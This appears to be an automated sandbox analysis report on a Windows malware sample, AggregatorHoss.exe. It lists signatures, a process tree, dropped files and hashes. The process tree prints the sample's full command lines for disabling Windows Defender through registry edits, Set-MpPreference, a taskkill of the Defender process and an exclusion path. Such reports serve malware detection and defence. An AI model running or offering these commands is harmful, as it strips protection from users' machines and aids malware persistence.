Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    08/09/2026, 06:26

General

  • Target
    AggregatorHoss.exe
  • Size 463KB
  • Sample260908-g66fxstblh
  • SHA256 a72547c70d47fb619a61fd693791d33018afe65d4b5d2ff298e8b440a1117047
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 2 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 16 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

  • Executes dropped EXE 12 IoCs
  • Loads dropped DLL 6 IoCs
  • Adds Run key to start application 2 TTPs 10 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Time Discovery 1 TTPs 2 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Kills process with taskkill 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 40 IoCs

Processes

  • C:\Windows\explorer.exe
    explorer.exe /LOADSAVEDWINDOWS
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:5116
    • C:\Users\Admin\AppData\Local\Temp\AggregatorHoss.exe
      "C:\Users\Admin\AppData\Local\Temp\AggregatorHoss.exe"
      2⤵
      • Adds Run key to start application
      • Suspicious use of WriteProcessMemory
      PID:6032
      • C:\SysTempData\HELL1.exe
        "C:\SysTempData\HELL1.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:5264
        • C:\Windows\SYSTEM32\cmd.exe
          cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f & powershell Set-MpPreference -DisableRealtimeMonitoring $true & taskkill /f /im MsMpEng.exe /im WinDefend.exe 2>nul
          4⤵
          • Executes a command shell one-liner
          • System Time Discovery
          • Suspicious use of WriteProcessMemory
          PID:4636
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
            5⤵
            • Modifies Windows Defender DisableAntiSpyware settings
            PID:4064
          • C:\Windows\system32\reg.exe
            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
            5⤵
              PID:3528
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
              5⤵
              • Modifies Windows Defender Real-time Protection settings
              PID:5792
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
              5⤵
              • Modifies Windows Defender Real-time Protection settings
              PID:1328
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
              5⤵
              • Modifies Windows Defender Real-time Protection settings
              PID:952
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
              5⤵
              • Modifies Windows Defender Real-time Protection settings
              PID:5948
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
              5⤵
                PID:5540
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
                5⤵
                  PID:2192
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell Set-MpPreference -DisableRealtimeMonitoring $true
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Disables one or more Microsoft Defender components
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1472
                • C:\Windows\system32\taskkill.exe
                  taskkill /f /im MsMpEng.exe /im WinDefend.exe
                  5⤵
                  • Kills process with taskkill
                  PID:5760
              • C:\Windows\SYSTEM32\cmd.exe
                cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
                4⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:816
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:5920
            • C:\SysTempData\HELL2.exe
              "C:\SysTempData\HELL2.exe"
              3⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:1720
              • C:\Users\Admin\AppData\Local\Temp\kb_0e599580\loader.exe
                "C:\Users\Admin\AppData\Local\Temp\kb_0e599580\loader.exe"
                4⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:1308
        • C:\SysTempData\AggregatorHoss.exe
          C:\SysTempData\AggregatorHoss.exe
          1⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Suspicious use of WriteProcessMemory
          PID:5884
          • C:\SysTempData\HELL2.exe
            "C:\SysTempData\HELL2.exe"
            2⤵
            • Executes dropped EXE
            • Suspicious use of WriteProcessMemory
            PID:4168
            • C:\Users\Admin\AppData\Local\Temp\kb_0e599d8e\loader.exe
              "C:\Users\Admin\AppData\Local\Temp\kb_0e599d8e\loader.exe"
              3⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Adds Run key to start application
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:4564
        • C:\SysTempData\HELL1.exe
          C:\SysTempData\HELL1.exe
          1⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:3076
          • C:\Windows\SYSTEM32\cmd.exe
            cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f & powershell Set-MpPreference -DisableRealtimeMonitoring $true & taskkill /f /im MsMpEng.exe /im WinDefend.exe 2>nul
            2⤵
            • Executes a command shell one-liner
            • System Time Discovery
            • Suspicious use of WriteProcessMemory
            PID:2440
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
              3⤵
              • Modifies Windows Defender DisableAntiSpyware settings
              PID:5308
            • C:\Windows\system32\reg.exe
              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirus /t REG_DWORD /d 1 /f
              3⤵
                PID:3932
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:2796
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:4052
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:5128
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f
                3⤵
                • Modifies Windows Defender Real-time Protection settings
                PID:1632
              • C:\Windows\system32\reg.exe
                reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SpyNetReporting /t REG_DWORD /d 0 /f
                3⤵
                  PID:1052
                • C:\Windows\system32\reg.exe
                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
                  3⤵
                    PID:5404
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Set-MpPreference -DisableRealtimeMonitoring $true
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Disables one or more Microsoft Defender components
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4212
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im MsMpEng.exe /im WinDefend.exe
                    3⤵
                    • Kills process with taskkill
                    PID:4152
                • C:\Windows\SYSTEM32\cmd.exe
                  cmd.exe /c powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
                  2⤵
                  • Executes a command shell one-liner
                  • Suspicious use of WriteProcessMemory
                  PID:2304
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell -Command "Add-MpPreference -ExclusionPath 'C:\SysTempData'"
                    3⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3004
              • C:\SysTempData\HELL2.exe
                C:\SysTempData\HELL2.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of WriteProcessMemory
                PID:1096
                • C:\Users\Admin\AppData\Local\Temp\kb_0e59985e\loader.exe
                  "C:\Users\Admin\AppData\Local\Temp\kb_0e59985e\loader.exe"
                  2⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • Adds Run key to start application
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of WriteProcessMemory
                  PID:5280
              • C:\Users\Admin\AppData\Local\Temp\kb_0e599580\loader.exe
                C:\Users\Admin\AppData\Local\Temp\kb_0e599580\loader.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:5356
              • C:\Users\Admin\AppData\Local\Temp\kb_0e59985e\loader.exe
                C:\Users\Admin\AppData\Local\Temp\kb_0e59985e\loader.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:3496
              • C:\Users\Admin\AppData\Local\Temp\kb_0e599d8e\loader.exe
                C:\Users\Admin\AppData\Local\Temp\kb_0e599d8e\loader.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of WriteProcessMemory
                PID:5784

              Network

                    MITRE ATT&CK Enterprise v16

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                    AggregatorHoss.exe

                    • Path C:\SysTempData\AggregatorHoss.exe
                    • Size 463KB
                    • SHA256 a72547c70d47fb619a61fd693791d33018afe65d4b5d2ff298e8b440a1117047
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    HELL1.exe

                    • Path C:\SysTempData\HELL1.exe
                    • Size 105KB
                    • SHA256 103f51b71fc93d9c38a6a99e970d13fd87ca2137a32429e67d6bd07a526671a6
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    HELL2.exe

                    • Path C:\SysTempData\HELL2.exe
                    • Size 246KB
                    • SHA256 5a89bafccbd33c0df8be7e2348a2bf4ec064d4c16896aebbae6d27a1d6628abb
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 1599754af315bf45fc5c21a5d9d6289ee5d77b66ecc79c44b56e93a2e4a258b3
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 df5de984121ab9eb702c2ef1c0716750e770551b5a5551fee347941d5bdfab01
                    • MD5 SHA1 SHA512 TLSH

                    StartupProfileData-NonInteractive

                    • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                    • Size 1KB
                    • SHA256 435471b87a1a97b0e29f7d5dd0878e63031511f063629d7e750852c068e7c4f5
                    • MD5 SHA1 SHA512 TLSH

                    __PSScriptPolicyTest_n0jvygdx.rz5.ps1

                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_n0jvygdx.rz5.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH

                    loader.exe

                    • Path C:\Users\Admin\AppData\Local\Temp\kb_0e599580\loader.exe
                    • Size 109KB
                    • SHA256 4b74821ec49c6a2721f46c9d30391ffe3c98663e416f5e63943dd97062420653
                    • MD5 SHA1 SHA512 SSDEEP TLSH

                    persist.dll

                    • Path C:\Users\Admin\AppData\Local\Temp\kb_0e599580\persist.dll
                    • Size 3KB
                    • SHA256 d3e14419f49efb39f9f12e32ba3f6ed4ae72b988eb5d89e914b1759cbc4528ce
                    • MD5 SHA1 SHA512 TLSH

                    output_64.bin

                    • Path C:\Users\Admin\AppData\Local\Temp\kb_0e59985e\output_64.bin
                    • Size 2KB
                    • SHA256 6cebaef3d98c1a4b73f62881583fa62c46461cc7f6c38993cb3338892024eb1b
                    • MD5 SHA1 SHA512 TLSH

                    memory/3004-27-0x000001CDC1E60000-0x000001CDC1E6A000-memory.dmp

                    memory/3004-25-0x000001CDC1C70000-0x000001CDC1C8E000-memory.dmp

                    memory/3004-26-0x000001CDC1DA0000-0x000001CDC1E52000-memory.dmp

                    memory/5116-100-0x00000000030D0000-0x00000000030D1000-memory.dmp

                    memory/5116-93-0x0000000002230000-0x0000000002231000-memory.dmp

                    memory/5116-91-0x0000000002120000-0x0000000002121000-memory.dmp

                    memory/5920-12-0x00007FF903980000-0x00007FF904324000-memory.dmp

                    memory/5920-10-0x00007FF903980000-0x00007FF904324000-memory.dmp

                    memory/5920-13-0x00007FF903980000-0x00007FF904324000-memory.dmp

                    memory/5920-16-0x00007FF903980000-0x00007FF904324000-memory.dmp

                    memory/5920-11-0x00007FF903980000-0x00007FF904324000-memory.dmp

                    memory/5920-9-0x000002444A570000-0x000002444A592000-memory.dmp

                    memory/5920-45-0x00007FF903980000-0x00007FF904324000-memory.dmp

                    memory/5920-14-0x00007FF903980000-0x00007FF904324000-memory.dmp

                    memory/5920-8-0x00007FF903980000-0x00007FF904324000-memory.dmp

                    memory/5920-5-0x00007FF903980000-0x00007FF904324000-memory.dmp

                    memory/5920-4-0x00007FF903B0F000-0x00007FF903B10000-memory.dmp

                    memory/5920-15-0x00007FF903980000-0x00007FF904324000-memory.dmp

                    memory/5920-18-0x00007FF903980000-0x00007FF904324000-memory.dmp

                    memory/5920-17-0x00007FF903980000-0x00007FF904324000-memory.dmp